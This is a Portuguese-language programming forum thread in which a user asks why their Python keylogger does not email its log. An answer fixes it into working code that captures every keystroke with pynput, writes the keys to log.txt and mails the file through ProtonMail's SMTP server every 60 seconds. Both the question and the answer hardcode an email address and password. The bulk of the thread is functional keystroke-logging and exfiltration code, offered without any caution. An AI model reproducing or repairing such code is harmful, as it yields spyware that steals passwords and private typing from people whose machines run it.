1
resposta

Arquivo criado com smtplib não tá enviando arquivo para o email adicionado no script

O código rodou sem erros aparentemente em estado 'executando' até pressionar CTRL C e aparecer keyboard interrupt como o print abaixo mostra, porém ele não está realizando a tarefa determinada, pois na minha caixa de entrada não apareceu nenhum arquivo log.txt.

from datetime import datetime
from threading import Timer
from email.mime.text import MIMEText
import smtplib
import pynput

my_email = 'amanegro@protonmail.com'
my_pass = 'X86|NOR|X0R'
rec = 60
keys = []
def callback():
    while True:
        try:
            print('alphanumeric key {0} pressed'.format(key.char))
        except AttributeError:
            print('special key {0} pressed'.format(key))
def record():
    try:
        host = smtplib.SMTP('smtp.protonmail.ch', port=1025)
        host.starttls()
        host.login(my_email, my_pass)
        for key in keys:
            filename = 'log.txt'
            f = file(filename)
            attachment = MIMEText(f.read())
            attachment.add_header('Content-Disposition', 'attachment', filename=filename)
            msg.attach(attachment)
            k = str(key).replace("'", '')
            f.write(k)
            f.write(' ')
    except Exception as e:
        host.sendmail(my_email, record(filename))
        host.quit()
        if verbose():
            print(f'{datetime.now(filename)}')
            pass
def start():
    if key == keyboard.Key.enter:
        return False
        print('{0} released'.format(key))
timer = Timer(interval=rec, function=record())
timer.daemon = True
timer.start()
with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()        
callback()
record()


Insira aqui a descrição dessa imagem para ajudar na acessibilidade

1 resposta

Olá Andre! Tudo bem?

Existem alguns pontos que precisam ser corrigidos para que o envio do e-mail funcione corretamente.

Problemas Identificados:

  1. Porta SMTP Incorreta: A porta 1025 não é a porta padrão para o envio de e-mails. Normalmente, a porta para SMTP com TLS é 587.
  2. Criação e Uso de Arquivo: O arquivo log.txt não está sendo corretamente manipulado.
  3. Envio de E-mail: A estrutura do envio de e-mail está incorreta.
  4. Funções on_press e on_release não definidas: Essas funções não estão definidas no seu código.
  5. Uso de Timer: A forma como o Timer está sendo usado não está correta.
  6. Uso de verbose(): A função verbose() não está definida no código.

Código Corrigido:

Aqui está uma versão corrigida do seu código:

from datetime import datetime
from threading import Timer
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.application import MIMEApplication
import smtplib
import pynput.keyboard as keyboard

my_email = 'amanegro@protonmail.com'
my_pass = 'X86|NOR|X0R'
rec = 60  # Intervalo de tempo em segundos
keys = []

def on_press(key):
    try:
        keys.append(key.char)
        print(f'Alphanumeric key {key.char} pressed')
    except AttributeError:
        keys.append(str(key))
        print(f'Special key {key} pressed')

def on_release(key):
    if key == keyboard.Key.esc:
        return False

def record():
    try:
        filename = 'log.txt'
        with open(filename, 'w') as f:
            for key in keys:
                k = str(key).replace("'", "")
                f.write(k + ' ')
        
        host = smtplib.SMTP('smtp.protonmail.ch', port=587)
        host.starttls()
        host.login(my_email, my_pass)
        
        msg = MIMEMultipart()
        msg['From'] = my_email
        msg['To'] = my_email
        msg['Subject'] = 'Log File'
        
        with open(filename, 'r') as f:
            attachment = MIMEApplication(f.read(), _subtype="txt")
            attachment.add_header('Content-Disposition', 'attachment', filename=filename)
            msg.attach(attachment)
        
        host.sendmail(my_email, my_email, msg.as_string())
        host.quit()
        
        print(f'{datetime.now()} - Email sent successfully')
    except Exception as e:
        print(f'Error: {e}')

def start_recording():
    timer = Timer(interval=rec, function=record)
    timer.daemon = True
    timer.start()

start_recording()

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

O que foi corrigido:

  1. Porta SMTP: Alterei para a porta 587, que é a porta padrão para TLS.
  2. Manipulação de Arquivo: Corrigi a forma como o arquivo log.txt é manipulado.
  3. Envio de E-mail: Corrigi a estrutura do envio de e-mail utilizando MIMEMultipart.
  4. Funções on_press e on_release: Adicionei as funções para capturar as teclas pressionadas.
  5. Uso de Timer: Corrigi a forma como o Timer é inicializado e usado.

Espero ter ajudado e bons estudos!

Caso este post tenha lhe ajudado, por favor, marcar como solucionado ✓.